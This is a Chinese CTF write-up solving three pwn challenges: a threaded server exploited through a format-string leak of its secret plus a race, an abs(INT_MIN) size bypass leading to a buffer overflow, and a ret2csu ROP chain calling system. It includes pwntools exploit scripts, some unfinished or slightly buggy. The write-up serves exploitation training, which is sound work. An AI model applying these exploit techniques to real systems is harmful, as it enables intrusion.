玄机pwn--webpwn、abs64.ret2csu
玄机上有几道pwn题没什么人做,特意花时间做了并且进行整理
玄机pwn题解
把玄机平台上的这几个题目都做做练练手
这里一共有三个题目,当时是都卡住了。
第一个题目考查的是webpwn的相关的知识,第二个题目考核的abs32的相关的知识,第三个题目考查的基础的csu写入binsh的相关的知识。
网上没有wp,并且题解很少,花了一段时间做了做这几道题目
第一题:ezpwn
题目给我们的附件是tgz后缀的
简单分析
需要这样先解压一下
tar -xzf .\server.tgz拖进ida看一下框架,这个结构体负责端口监听
00000000 struct sockaddr // sizeof=0x10
00000000 { // XREF: main/r main/r
00000000 sa_family_t sa_family; // XREF: main+78/w
00000002 char sa_data[14]; // XREF: main+7F/w main+94/w
00000010 };这里看出来监听1337端口
fd_1 = fd;
optval_ = 1;
setsockopt(fd, 1, 2, &optval_, 4u);
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
*(_WORD *)addr.sa_data = htons(0x539u);
if ( bind(fd_1, &addr, 0x10u) >= 0 )
{
if ( listen(fd_1, 8) < 0 )
{
perror("listen");
exit(1);
}我们本地测试,运行server之后,这里会给我们打印出来服务端的日志信息,这里是在客户端看不到的
⚡ root@LAPTOP-G0KOPP7R /mnt/d/Users/Lenovo/Desktop/玄机刷题/附件 ./server
Listening on 0.0.0.0:1337
[DEBUG] secret key: cCu3IbZ9ZTxAqCsBWq
[DEBUG] secret key address: 0x7961563dfd4c我们客户端进行的简单的交互如下
✘ ziran@LAPTOP-G0KOPP7R ~ nc 0.0.0.0 1337
Welcome. Type commands.
> ls
flag
> cat flag
permission denied: cannot use cat
>我们还原一下线程里面的ptr结构体更加具体的分析分析
#include <stdint.h>
typedef struct Session {
int32_t fd; // 0x00 socket fd
int32_t can_cat; // 0x04 /tmp/priv.list contains "cat" => 1
int32_t authed; // 0x08 auth success => 1 (enables write)
char message[64];// 0x0C "u can readme!" + check命令会改这里
char secret[24]; // 0x4C 16~23 chars + '\0'
// 0x64 ... 可能还有其它字段(这段代码没用到,看不到)
} Session;程序分析
这个题目远程给我链接是客户端,也就是我们链接本地的端口,而不是直接给我们远程去链接
我们需要通过认证,也就是下面这个代码
else if ( !strncmp(p_buf, "auth ", 5u) )
{
if ( !strcmp(p_buf + 5, ctx->secret) )
{
ctx->authed = 1;
sub_401560(fd, "Authentication success. write enabled.\n> ");
}
else
{
ctx->authed = 0;
sub_401560(fd, "Invalid password.\n> ");
}这里需要推测密码,我们看到随机数的种子的生成,这里说明了我们不能直接进行伪随机数的绕过,我们需要泄露出来密码。
v3 = time(0);
pid = getpid();
srand(v3 ^ pid);我们重新又看了一变这些分支,我们先check,拼凑一下格式,这里我们获得了远程存储密码的地址
> checkB
permission denied
> check B
[DEBUG] message: u can readme!
[DEBUG] message address: 0x7f40e58f3d4c之后我们泄露一下内容,有点类似bind(其实调试server就能确定偏移,不用这么盲注,被远程带偏了)
这个函数我出那个题目也用到了
dprintf(fd, p_buf + 6);
dprintf(fd, "\n> ");这里一共有139%p,我们的aaaa的偏移大致是正在138的位置写入的
debug aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
aaaaaaaa0x50x60x200x808080808080800000x40302c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x61612067756265640x70256161616161610x7025702570257025这里的话有点难数具体的偏移,这里ai直接一行代码解决了这个难题
s = """debug aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"""
s.count("%p")我们调试的话看起来是更加直接的,这里很明显的呈现了bind的看到情况
00:0000│ rsp 0x7ffff7f5a680 ◂— 0
01:0008│ 0x7ffff7f5a688 —▸ 0x7ffff7ffed0c ◂— 'B can readme!'
02:0010│ 0x7ffff7f5a690 ◂— 0
... ↓ 5 skipped
─────────────────────────────[ BACKTRACE ]──────────────────────────────
► 0 0x401a88
1 0x7ffff7fb988f start+116
2 0x0
─────────────────────────[ THREADS (2 TOTAL) ]──────────────────────────
► 2 "server" stopped: 0x401a88
1 "server" stopped: 0x7ffff7fbbc03 <__cp_end>
────────────────────────────────────────────────────────────────────────
pwndbg> search aaaaaaaa
Searching for value: 'aaaaaaaa'
[anon_7ffff7f3c] 0x7ffff7f5aaa6 'aaaaaaaa%p'
pwndbg> p 0x7ffff7f5aaa6-0x7ffff7f5a680
$1 = 1062
pwndbg> p 1062/8
$2 = 132这里我们先填充两个垃圾数据,这里我们就偏移到了138的位置,我们让其偏移到139的位置上之后,我们就能实现的稳定的泄露地址了
这里我们需要用python去构造特定的数据,要不就没有稳定的字节,而我们是不能直接传入字符数据的。
这里我们逐级溯源
我们发现我们的密码地址是固定还要往下偏移0x40的地址,也就是还要增加0x40的地址
pwndbg> search aa
Searching for value: 'aa'
[anon_7146c3448] 0x7146c3466aa6 0x7024393331256161 ('aa%139$p')
[anon_7146c3448] 0x7146c3466aae 0x7146c3504d0c6161
libc.so 0x7146c34e22a3 0x2762296156616161 ("aaaVa)b'")
libc.so 0x7146c34e5865 0x6561646163616161 ('aaacadae')
[stack] 0x7ffec210fcca 'aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:'
pwndbg> tele 0x7146c3466aa8
00:0000│ rcx-4 0x7146c3466aa8 ◂— 0x6161702439333125 ('%139$paa')
01:0008│ 0x7146c3466ab0 —▸ 0x7146c3504d0c ◂— 'B can readme!'
02:0010│ 0x7146c3466ab8 ◂— 0xa /* '\n' */
03:0018│ 0x7146c3466ac0 ◂— 0
... ↓ 4 skipped
pwndbg> tele 0x7146c3504d0c
00:0000│ r14 0x7146c3504d0c ◂— 'B can readme!'
01:0008│ 0x7146c3504d14 ◂— 0x21656d6461 /* 'adme!' */
02:0010│ 0x7146c3504d1c ◂— 0
... ↓ 5 skipped
pwndbg>
08:0040│ r15 0x7146c3504d4c ◂— 'IxvfYWQXCBUOiZBd'
09:0048│ 0x7146c3504d54 ◂— 'CBUOiZBd'
0a:0050│ 0x7146c3504d5c ◂— 0计算好之后,我们还是泄露不出来,我们写个demo模型看看什么情况
这里我们突然意识到,忽略了64位的寄存器传参的这个情况,还有就是应该用%s去泄露密码
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main() {
errno = 0;
int r = dprintf(1, "@@%135$p@@");
perror("dprintf");
printf("\nr=%d errno=%d\n", r, errno);
return 0;
}我们需要注意一点,dprintf在这个题目中是不认可$这个符号的
我们可以用下面这个方式,但是数值大了之后就过不了printf,暂过
这里我排除发现不是数据长度的问题,导致这个情况是其他原因
> debug %p %p %p %p %p %p
0x5 0x6 0x20 0x8080808080808000 0 0x7f2a2312dcac
> debug %2$p
> debug %5$s
> debug %5%p
> debug %1$p
0x5
> %p%p%p%p%p%s
permission denied
> debug %p%p%p%p%p%s
0x50x60x200x80808080808080000u can readme!我们绕了一圈,之后出了一个a的bug,我们绕一下就行了,sendline发送导致的bug应该是
并且这个%p的泄露的是字节,没有经过再次的转化,这里应该是通信处理导致的可能
这里就可以正常的打印出来目标地址,换成%s应该就能打印出来字符了吧
#rt(b'0')
#padding = p.recvn(6) # 确保拿满 6 字节(你现在这次就是 6 字节)
#pass_wd = u64(padding.ljust(8,b'\x00'))
#print(hex(pass_wd)) 然后我们换成%s还是不行,后来想了想,进行了少量的重复,这样之后就能成功的泄露出来了
这里主要是利用利用后续输出的换行符实现的
pass_wd = p.recvline()
print(pass_wd)
m = re.match(rb'[0-9A-Za-z]+', pass_wd)
secret = m.group(0) if m else b''
print(secret)端序和gdb识别的前后关系
0x738b484c7c18 ◂— 0x7325404040404040 ('@@@@@@%s')我们泄露出来密码之后我们就能通过认证,之后我们可以重新write这个一开始的文件
这里认证的时候出现了bug,多出来了一个字符,这个题目奇怪的地方的很多,需要有很强的应变和调试能力
这里我们需要做一个切片
pd = b'auth '
pd += secret
pd = pd[:-1]
print(pd)
sl(pd)这里我们的这个文件是删除了的,我们需要重新写一个
这里我们使用的是多线程,我们就可以通过竞态来实现最后的cat flag
至此成功拿下flag
最终的exp如下
这个题目考查了web基础通信框架,多线程基础框架,基础的代码审计,格式化字符串,竞态,考察点是比较全面的,最主要的还是bug错误的绕过。
from pwn import *
#connect
io = process('./server')
p = remote('0.0.0.0', 1337)
#setup
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#simple
rt = lambda x: p.recvuntil(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
#debugger attaching
gdb.attach(io,"b *0x0000000000401a80")
#check leak vuln_addr
rt("Welcome. Type commands.")
sl("check B")
rt("message address: ")
vuln_addr = int(p.recv(14),16)
print("vuln_addr: "+hex(vuln_addr))
pass_addr = vuln_addr +0x40
print("pass_addr: "+hex(pass_addr))
rt("> ")
#debug leak password
pd = b'debug '
pd += b'%p'*185
pd += b'%s@@@@@@'
pd += p64(pass_addr)
sl(pd)
pass_wd = p.recvline().strip()
print("pass_wd: "+pass_wd.decode())
#write priv.list
#race
#control
p.interactive()第二题:2025安徽省大学生网络攻防竞赛线下初赛-abs
这个题目给了源码,源码如下
#include<stdio.h>
#include<unistd.h>
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int get_size()
{
int size;
scanf("%d", &size);
size = abs(size);
return (size % 0x30) & 0xff;
}
int main()
{
init();
char buf[0x30];
int size;
printf("please input you input size\n");
size = get_size();
read(0, buf, size);
puts(buf);
}补充一下abs这个函数的相关的知识
abs() 的作用就是把 size 变成非负数的绝对值:
- 输入
10→abs(10)=10 - 输入
-10→abs(-10)=10
这里从表面上已经杜绝了负数溢出的可能性,暂过
只要我们绕过这个检测,实现负数取余数就行了
gcc -fno-stack-protector -z execstack -no-pie -fno-PIE -Wl,-z,norelro -D_FORTIFY_SOURCE=0 -O0 abs.c -o abs这里的核心的漏洞是这个abs32函数本身
abs的相关的知识如下
32 位有符号整数范围不对称
32 位
int的范围是:
- 最大:
INT_MAX = 2147483647 = 0x7fffffff- 最小:
INT_MIN = -2147483648 = 0x80000000注意负数比正数多一个:
能表示-2147483648,但不能表示+2147483648(超出INT_MAX)。
这里的abs 实现本质是 “x < 0 ? -x : x”
这段:
等价于:
- 若 x ≥ 0:edx=0 → eax 不变
- 若 x < 0:edx=-1 → eax = (~x) + 1 = -x
对一般负数都没问题,比如 -5 变 5。
但对
x = INT_MIN (0x80000000):
-x在数学上是2147483648,32 位 int 放不下- 在补码里运算会“绕回去”(溢出),结果还是
0x80000000(也就是还是 INT_MIN)所以 abs(INT_MIN) == INT_MIN(在这种实现/机器行为下),就导致后面的“按非负数处理”的假设被破坏。
“余数变 -32 / 低字节 0xE0”
后面那坨魔数除法+减法是在算类似
x % 48的东西。如果输入按预期是非负,余数应该在
0..47。但当
x变成了 仍然是负数的 INT_MIN,你这个“余数”计算会走带符号的路径,产生一个负的余数(C 里-2147483648 % 48的结果就是 -32,因为商向 0 截断)。
-32的 32 位补码是:
0xffffffe0
低 8 位就是0xe0(224)。然后函数最后
movzx eax, dl是零扩展低字节:
- 把
0xE0当成 224 返回(所以 EAX 看到 224)- 如果调用方把它当
int8_t(有符号 8 位),0xE0就是 -32
mov eax, x
cdq ; edx = 0 或 -1(看符号)
xor eax, edx
sub eax, edx这个题目应该是使用低版本编译,实现溢出之后的话就是简单的ret2libc
from pwn import *
io = process('./abs')
gdb.attach(io,"b *0x401296")
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
num = -2147483648
io.sendline(str(num).encode())
elf = ELF('./abs')第三题:2025安徽省大学生网络攻防竞赛线下初赛--KROP2
源码如下
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
echo();
read(0, buf, 0x100u);
puts(buf);
return 0;
}这里的话很简单,就是一个栈溢出
没有剔除pop片段,利用起来的话很直接,我们不去泄露libc,因为题目没有给libc附件
这里给了system,但是没有binsh
这里我们可以选择迁移到bss上重启打ret2all
或者我们可以往bss上写地址,练手一下csu
exp
from pwn import *
#connect
io = process('./ROP2')
#setup
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#debugger attached
gdb.attach(io, "b *0x40125E")
#info
elf = ELF('./ROP2',"b *0x40125E")
bss = 0x404a00
#csu
pd = b'a'*0x28
pd += p64(0x4012BA) #csu_pop
pd += flat(0, 1, 0, bss, 0x10, elf.got['read']) #rdi = puts_got
pd += p64(0x4012A0) #csu_call
pd += b'a'*0x38
pd += p64(0x4012c3) #pop_rdi
pd += p64(bss)
pd += p64(elf.sym['system'])
io.send(pd)
#control
io.interactive()涵盖ezpwn(格式化字符串泄露secret)、abs(INT_MIN导致abs绕过)、KROP2(栈溢出+CSU gadget)三题解法。
由 AI 根据全文自动生成,仅供参考,以原文为准